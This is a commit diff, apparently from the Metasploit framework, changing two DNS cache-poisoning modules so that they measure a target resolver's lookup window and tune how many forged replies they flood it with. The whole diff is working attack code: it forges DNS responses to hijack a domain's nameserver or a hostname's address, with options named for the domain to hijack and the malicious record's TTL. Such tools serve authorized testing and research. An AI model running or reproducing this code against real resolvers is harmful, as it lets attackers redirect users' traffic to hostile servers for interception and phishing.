This patch changes how we determine the number of spoofed replies to send to each query. When XIDS is set to zero (now the default), the code will now determine the length of time it takes for the target server to query the real nameserver for the target domain. This leads to much more accurate testing and is recalculated every 1000 attempts to handle servers which change under load.
git-svn-id: file:///home/svn/framework3/trunk@5597 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore
parent
c6930f79f1
commit
6c0356e9e0
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@ -46,17 +46,32 @@ class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
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OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
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OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
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OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
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OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
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OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
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OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
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OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
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OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
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OptInt.new('TTL', [true, 'The TTL for the malicious NS entry', 31337]),
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], self.class)
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end
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def auxiliary_commands
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return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
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return {
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"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
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"racer" => "Determine the size of the window for the target server"
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}
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end
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def cmd_racer(*args)
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targ = args[0] || rhost()
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dom = args[1] || "example.com"
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if(not (targ and targ.length > 0))
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print_status("usage: racer [dns-server] [domain]")
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return
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end
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calculate_race(targ, dom)
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end
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def cmd_check(*args)
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targ = args[0] || rhost()
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if(not (targ and targ.length > 0))
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@ -128,7 +143,7 @@ class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
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xids = datastore['XIDS'].to_i
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newttl = datastore['TTL'].to_i
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xidbase = rand(20001) + 20000
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numxids = xids
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address = Rex::Text.rand_text(4).unpack("C4").join(".")
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srv_sock = Rex::Socket.create_udp(
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@ -232,7 +247,20 @@ class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
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disconnect_ip
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return
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end
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if(xids == 0)
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print_status("Calculating the number of spoofed replies to send per query...")
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qcnt = calculate_race(target, domain, 100)
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numxids = ((qcnt * 1.5) / barbs.length).to_i
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if(numxids == 0)
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print_status("The server did not reply, giving up.")
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srv_sock.close
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disconnect_ip
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return
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end
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print_status("Sending #{numxids} spoofed replies for each query")
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end
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# Flood the target with queries and spoofed responses, one will eventually hit
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queries = 0
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responses = 0
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@ -272,7 +300,7 @@ class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
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req.qr = 1
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req.aa = 1
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xidbase.upto(xidbase+xids-1) do |id|
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xidbase.upto(xidbase+numxids-1) do |id|
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req.id = id
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barbs.each do |barb|
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buff = (
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@ -294,6 +322,18 @@ class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
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# status update
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if queries % 1000 == 0
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print_status("Sent #{queries} queries and #{responses} spoofed responses...")
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if(xids == 0)
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print_status("Recalculating the number of spoofed replies to send per query...")
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qcnt = calculate_race(target, domain, 25)
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numxids = ((qcnt * 1.5) / barbs.length).to_i
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if(numxids == 0)
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print_status("The server has stopped replying, giving up.")
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srv_sock.close
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disconnect_ip
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return
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end
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print_status("Now sending #{numxids} spoofed replies for each query")
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end
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end
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# every so often, check and see if the target is poisoned...
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@ -328,5 +368,103 @@ class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
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end
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#
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# Send a recursive query to the target server, then flood
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# the server with non-recursive queries for the same entry.
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# Calculate how many non-recursive queries we receive back
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# until the real server responds. This should give us a
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# ballpark figure for ns->ns latency. We can repeat this
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# a few times to account for each nameserver the cache server
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# may query for the target domain.
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#
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def calculate_race(server, domain, num=50)
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q_beg_t = nil
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q_end_t = nil
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cnt = 0
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times = []
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hostname = Rex::Text.rand_text_alphanumeric(16) + domain
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sock = Rex::Socket.create_udp(
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'PeerHost' => server,
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'PeerPort' => 53
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)
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req = Resolv::DNS::Message.new
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req.add_question(hostname, Resolv::DNS::Resource::IN::A)
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req.rd = 1
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req.id = 1
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Thread.critical = true
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q_beg_t = Time.now.to_f
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sock.put(req.encode)
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req.rd = 0
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while(times.length < num)
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res, addr = sock.recvfrom(65535, 0.01)
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if res and res.length > 0
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res = Resolv::DNS::Message.decode(res)
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if(res.id == 1)
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times << [Time.now.to_f - q_beg_t, cnt]
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cnt = 0
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hostname = Rex::Text.rand_text_alphanumeric(16) + domain
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Thread.critical = false
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sock.close
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sock = Rex::Socket.create_udp(
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'PeerHost' => server,
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'PeerPort' => 53
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)
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Thread.critical = true
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q_beg_t = Time.now.to_f
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req = Resolv::DNS::Message.new
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req.add_question(hostname, Resolv::DNS::Resource::IN::A)
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req.rd = 1
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req.id = 1
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sock.put(req.encode)
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req.rd = 0
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end
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cnt += 1
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end
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req.id += 1
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sock.put(req.encode)
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end
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Thread.critical = false
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min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
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max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
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sum = 0
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times.each{|i| sum += i[0]}
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avg_time = ( (sum / times.length) * 100).to_i / 100.0
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min_count = times.map{|i| i[1]}.min
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max_count = times.map{|i| i[1]}.max
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sum = 0
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times.each{|i| sum += i[1]}
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avg_count = sum / times.length
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sock.close
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print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
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# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
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avg_count
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end
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end
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end
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@ -39,15 +39,30 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
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OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
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OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
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OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
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OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
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OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
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OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
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OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
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OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
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OptInt.new('TTL', [true, 'The TTL for the malicious host entry', 31337]),
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], self.class)
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end
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def auxiliary_commands
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return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
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return {
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"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
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"racer" => "Determine the size of the window for the target server"
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}
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end
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def cmd_racer(*args)
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targ = args[0] || rhost()
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dom = args[1] || "example.com"
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if(not (targ and targ.length > 0))
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print_status("usage: racer [dns-server] [domain]")
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return
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end
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calculate_race(targ, dom)
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end
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def cmd_check(*args)
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@ -121,6 +136,7 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
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xids = datastore['XIDS'].to_i
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newttl = datastore['TTL'].to_i
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xidbase = rand(20001) + 20000
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numxids = xids
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domain = hostname.sub(/\w+\x2e/,"")
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@ -223,6 +239,20 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
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return
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end
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if(xids == 0)
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print_status("Calculating the number of spoofed replies to send per query...")
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qcnt = calculate_race(target, domain, 100)
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numxids = ((qcnt * 1.5) / barbs.length).to_i
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if(numxids == 0)
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print_status("The server did not reply, giving up.")
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srv_sock.close
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disconnect_ip
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return
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end
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print_status("Sending #{numxids} spoofed replies for each query")
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end
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# Flood the target with queries and spoofed responses, one will eventually hit
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queries = 0
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responses = 0
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@ -262,7 +292,7 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
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req.qr = 1
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req.ra = 1
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xidbase.upto(xidbase+xids-1) do |id|
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xidbase.upto(xidbase+numxids-1) do |id|
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req.id = id
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barbs.each do |barb|
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buff = (
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@ -284,6 +314,18 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
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# status update
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if queries % 1000 == 0
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print_status("Sent #{queries} queries and #{responses} spoofed responses...")
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if(xids == 0)
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print_status("Recalculating the number of spoofed replies to send per query...")
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qcnt = calculate_race(target, domain, 25)
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numxids = ((qcnt * 1.5) / barbs.length).to_i
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if(numxids == 0)
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print_status("The server has stopped replying, giving up.")
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srv_sock.close
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disconnect_ip
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return
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end
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print_status("Now sending #{numxids} spoofed replies for each query")
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end
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end
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# every so often, check and see if the target is poisoned...
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@ -312,10 +354,106 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
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print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
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end
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end
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end
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end
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#
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# Send a recursive query to the target server, then flood
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# the server with non-recursive queries for the same entry.
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# Calculate how many non-recursive queries we receive back
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# until the real server responds. This should give us a
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# ballpark figure for ns->ns latency. We can repeat this
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# a few times to account for each nameserver the cache server
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# may query for the target domain.
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#
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def calculate_race(server, domain, num=50)
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q_beg_t = nil
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q_end_t = nil
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cnt = 0
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times = []
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hostname = Rex::Text.rand_text_alphanumeric(16) + domain
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sock = Rex::Socket.create_udp(
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'PeerHost' => server,
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'PeerPort' => 53
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)
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req = Resolv::DNS::Message.new
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req.add_question(hostname, Resolv::DNS::Resource::IN::A)
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req.rd = 1
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req.id = 1
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Thread.critical = true
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q_beg_t = Time.now.to_f
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sock.put(req.encode)
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req.rd = 0
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while(times.length < num)
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res, addr = sock.recvfrom(65535, 0.01)
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if res and res.length > 0
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res = Resolv::DNS::Message.decode(res)
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if(res.id == 1)
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times << [Time.now.to_f - q_beg_t, cnt]
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cnt = 0
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hostname = Rex::Text.rand_text_alphanumeric(16) + domain
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Thread.critical = false
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sock.close
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sock = Rex::Socket.create_udp(
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'PeerHost' => server,
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'PeerPort' => 53
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)
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Thread.critical = true
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q_beg_t = Time.now.to_f
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req = Resolv::DNS::Message.new
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req.add_question(hostname, Resolv::DNS::Resource::IN::A)
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req.rd = 1
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req.id = 1
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sock.put(req.encode)
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req.rd = 0
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end
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cnt += 1
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end
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req.id += 1
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sock.put(req.encode)
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end
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Thread.critical = false
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min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
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max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
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sum = 0
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times.each{|i| sum += i[0]}
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avg_time = ( (sum / times.length) * 100).to_i / 100.0
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min_count = times.map{|i| i[1]}.min
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max_count = times.map{|i| i[1]}.max
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sum = 0
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times.each{|i| sum += i[1]}
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avg_count = sum / times.length
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sock.close
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print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
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# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
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avg_count
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end
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end
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end
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